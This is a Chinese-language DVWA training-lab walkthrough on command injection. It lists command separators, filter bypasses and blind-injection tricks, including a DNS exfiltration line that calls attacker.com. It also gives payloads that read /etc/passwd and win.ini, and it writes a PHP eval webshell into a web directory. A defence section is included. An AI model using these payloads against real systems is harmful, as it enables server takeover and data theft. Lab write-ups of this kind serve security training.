DVWA靶场通关指南之爆破命令注入(Command Injection)篇
注意:以下内容仅用于教育目的,帮助理解防御措施。未经授权的攻击行为违反法律,请务必在合法授权范围内进行测试。
📖命令注入基础知识
🤔什么是命令注入?
命令注入(Command Injection)是一种通过向应用程序注入恶意命令来执行非授权系统指令的攻击技术。攻击者利用输入参数或数据传输中的漏洞,将系统命令拼接到正常操作中,导致服务器执行恶意指令。
🕵️漏洞原理
Web 应用程序通常会调用操作系统的命令来完成某些功能,如文件操作、数据处理等。如果应用程序没有对用户输入进行有效的过滤和验证,攻击者可以构造包含恶意命令的输入,当应用程序将这些输入拼接到系统命令中执行时,恶意命令就会在服务器端被执行。
示例代码(PHP):
$ip = $_GET['ip']; |
🔸攻击者输入 127.0.0.1 | whoami
,实际执行命令变为:
ping 127.0.0.1 | whoami # 分号分隔执行两条命令 |
🎯常见的命令连接符及其利用方式
在命令注入攻击中,攻击者通过特殊符号将恶意命令拼接到合法命令中执行。以下是不同操作系统(Linux/Unix 和 Windows)常见的命令连接符及其利用方式:
🛰️Linux/Unix 命令连接符
1️⃣顺序执行符
;
(分号)
🔸作用:无论前一条命令是否成功,均执行后续命令。
示例:
ping 127.0.0.1; cat /etc/passwd # 先执行 ping,再查看密码文件 |
2️⃣逻辑运算符
&&
(逻辑与)
🔸作用:仅当前一条命令成功(退出码为0)时,执行后续命令。
示例:
ping 127.0.0.1 && whoami # ping 成功后才执行 whoami |
||
(逻辑或)
🔸作用:仅当前一条命令失败(退出码非0)时,执行后续命令。
示例:
ping invalid-host || id # ping 失败后执行 id |
3️⃣管道符
|
(管道)
🔸作用:将前一条命令的输出作为后一条命令的输入。
示例:
cat /etc/passwd | grep root # 查找包含 "root" 的行 |
4️⃣子命令执行符
反引号 `
或 $( )
🔸作用:执行子命令并将结果嵌入到主命令中。
示例:
echo "Time: $(date)" # 输出当前时间 |
5️⃣换行符
\n
(换行符)
🔸作用:在输入中插入换行符,实现多命令执行(常用于HTTP参数或输入字段)。
示例:
127.0.0.1%0Aid # URL编码的换行符(%0A)分隔命令 |
🚀Windows 命令连接符
1️⃣顺序执行符
&
🔸作用:无论前一条命令是否成功,均执行后续命令。
示例:
ping 127.0.0.1 & whoami # 执行 ping 后执行 whoami |
2️⃣逻辑运算符
&&
🔸作用:仅当前一条命令成功时,执行后续命令(与Linux相同)。
示例:
ping 127.0.0.1 && net user # ping 成功后查看用户列表 |
||
🔸作用:仅当前一条命令失败时,执行后续命令(与Linux相同)。
示例:
ping invalid-host || ipconfig # ping 失败后执行 ipconfig |
3️⃣管道符
|
🔸作用:与Linux相同,传递前一条命令的输出。
示例:
type C:\file.txt | find "password" # 查找文件中包含 "password" 的行 |
4️⃣命令分隔符
%0A
(换行符的URL编码)
🔸作用:在HTTP参数中插入换行符,分隔多命令。
示例:
127.0.0.1%0Aecho hacked > C:\test.txt # 写入文件 |
✈️绕过过滤的变体
🔸当常见符号(如;
、&
)被过滤时,可尝试以下替代方案:
1️⃣编码绕过
URL编码:;
→ %3b
,&
→ %26
,|
→ %7c
示例:
127.0.0.1%3b%20id # 解码后为 `127.0.0.1; id` |
2️⃣空格替代符
Linux:
${IFS}
(内部字段分隔符):cat${IFS}/etc/passwd
<
或 >
:cat</etc/passwd
Windows:
%PROGRAMFILES%
等环境变量:ping%PROGRAMFILES%
3️⃣注释符干扰
#
(Linux) 或 ::
(Windows注释):
ping 127.0.0.1 # ; id # Linux中注释后续字符 |
⛴️实战利用场景
1️⃣盲注(无回显)
🔸时间延迟:
ping 127.0.0.1; sleep 5 # Linux中延迟5秒 |
🔸外带数据(OOB):
ping $(whoami).attacker.com # 将结果通过DNS请求外传 |
2️⃣文件读写
🔸Linux:
; echo 'hacked' > /var/www/html/test.txt |
🔸Windows:
& echo hacked > C:\inetpub\wwwroot\test.txt |
3️⃣ 反弹 shell
#linux |
4️⃣写入一句话木马
🔸写入一句话木马要满足Web目录可写权限,系统命令执行权限这些条件
🔸直接写入木马文件
# Linux(利用重定向符号 >): |
🔸通过下载远程木马
# 从远程服务器下载木马(需目标服务器出网): |
🔸编码绕过过滤写入
# Base64编码写入: |
总结:命令连接符是命令注入攻击的核心工具,攻击者通过它们将恶意代码注入合法流程。防御需从输入过滤、安全编码、权限控制三方面入手。
👮常见注入点
- 表单输入:如在搜索框、登录框、评论框等表单字段中输入恶意命令。
- URL 参数:通过修改 URL 中的参数值注入恶意命令。例如,某些网站通过 URL 参数指定要显示的文件名称,攻击者可以利用该参数注入命令。
- Cookie:如果应用程序在处理 Cookie 时存在漏洞,攻击者可以在 Cookie 中注入恶意命令。
🛡️防御建议
- 输入白名单过滤:仅允许必要字符(如IP地址仅允许数字和
.
)。 - 参数化执行命令:避免拼接用户输入到命令中。
- 转义特殊符号:使用安全函数(如Python的
shlex.quote()
或PHP的escapeshellarg()
)。 - 最小权限运行:应用程序账户不应有系统高危权限。
🚤Low 等级
🔸在 DVWA Security
设置等级为 Low
🔸页面有一个输入框,根据提示让我们输入IP地址,对 IP 进行ping 测试
🔸输入 IP 地址127.0.0.1
提交页面返回 ping 测试的数据
🔸返回测试数据和在 cmd 命令行数据一样这里的代码可能是直接调用执行系统命令的函数(如 shell_exec、system、exec、passthru)
🔸判断一下服务器类型是 windows``linux
,判断服务器类型是因为windows``linux
命令有差别不相同,可以使用 nmap
工具判断或者通过 ping 的 TLL 值判断
🔸TTL(生存时间)是IP数据包的存活跳数限制,不同操作系统的默认初始TTL值可能不同
常见系统的默认初始TTL值
系统类型 | 默认初始TTL | 常见接收TTL范围(示例) |
---|---|---|
Windows | 128 | 110-128(距离较近) |
Linux/Android | 64 | 50-64 |
UNIX(如Solaris) | 255 | 240-255 |
🔸根据 ping 判断这是windows 的类型,使用 windows 命令
🔸使用命令连接符来进行执行命令注入
127.0.0.1 | whoami #查看当前用户身份 |
🔸返回内容可以知道当前身份是 amdinistrarot
权限
127.0.0.1 & whoami #ping的同时并且查看当前用户身份 |
🔸通过命令注入成功查看到了服务器的的用户,这是 windows 服务器便读取一下 windows 配置文件win.ini
🔸win.ini
文件路径:C:\Windows\win.ini
127.0.0.1 & type C:\Windows\win.ini |
🔸成功读取和 cmd
下读取内容一样
命令注入漏洞利用
如果在渗透测试工作过程通中发现这个命令注入漏洞可以通过反弹 shell
或者写入一句话木马通过蚁剑连接来接管服务器。
🔸写入一句话木马
127.0.0.1 | dir #查看当前目录 |
🔸查看目录vulnerabilities 全部是文件夹
127.0.0.1 | dir D:\phpstudy_pro\WWW\DVWA\vulnerabilities\ #查看目录vulnerabilities |
🔸查看目录 DVWA 有一个 index.php
写入一句话木马或者直接在 DVWA 目录下创建一个 shell.php 再写入
127.0.0.1 | dir D:\phpstudy_pro\WWW\DVWA\ #查看目录DVWA |
🔸构造命令写入一句话木马
127.0.0.1 & echo ^ @eval($_REQUEST['pass']);?^> > D:\phpstudy_pro\WWW\DVWA\index.php |
🔸一句话木马地址:http://127.0.0.1/DVWA/index.php
使用蚁剑连接
注:命令执行写入一句话密码需要满足, 确保有写入代码权限 ,确保写入的文件具有可访问的路径和正确的权限
⚠️所有渗透测试都需获取授权
⚠️合法授权:渗透测试需获得目标系统的书面授权
代码审计
🔸查看源码
|
代码核心逻辑
🔸接收用户提交的 ip 参数($_POST[‘ip’])
🔸通过 php_uname(‘s’) 判断操作系统类型(Windows/*nix)
🔸拼接用户输入的 ip 到 ping 命令中执行(shell_exec)
🔸输出命令执行结果(echo “
{$cmd}“)
漏洞点
🔸直接拼接用户输入的 $target 到 shell_exec 中,未进行任何过滤或转义
🛳️Medium 等级
🔸在 DVWA Security
设置等级为 Mrdium
🔸页面有一个输入框,根据提示还是让我们输入IP地址,对 IP 进行ping 测试
🔸输入 IP 地址127.0.0.1
提交页面返回 ping 测试的数据
🔸使用命令连接符来进行执行命令注入
127.0.0.1 ; whoami |
🔸返回提示错误参数,应该是被过滤了
🔸使用其它&&``| ``&
命令连接符来进行执行命令注入进行绕过
🔸127.0.0.1 && whoami
🔸127.0.0.1 | whoami
🔸127.0.0.1 & ipconfig
🔸命令连接符|``&
都执行了,&&``;
命令连接符被过滤了
代码审计
|
⛴️High 等级
🔸在 DVWA Security
设置等级为 High
🔸使用命令连接符来进行执行命令注入
127.0.0.1 & ipconfig |
🔸以上 命令连接符来都被过滤了,空格可能也被过滤,管道符不需要空格尝试一下
127.0.0.1|ipconfig |
🔸命令执行成功,可以判断这里使用了使用黑名单| ``&``;``&&
等等命令连接符
🔸在面对过滤了大部分命令连接符的情况下可以构造一下命令连接符字典直接爆破
代码审计
|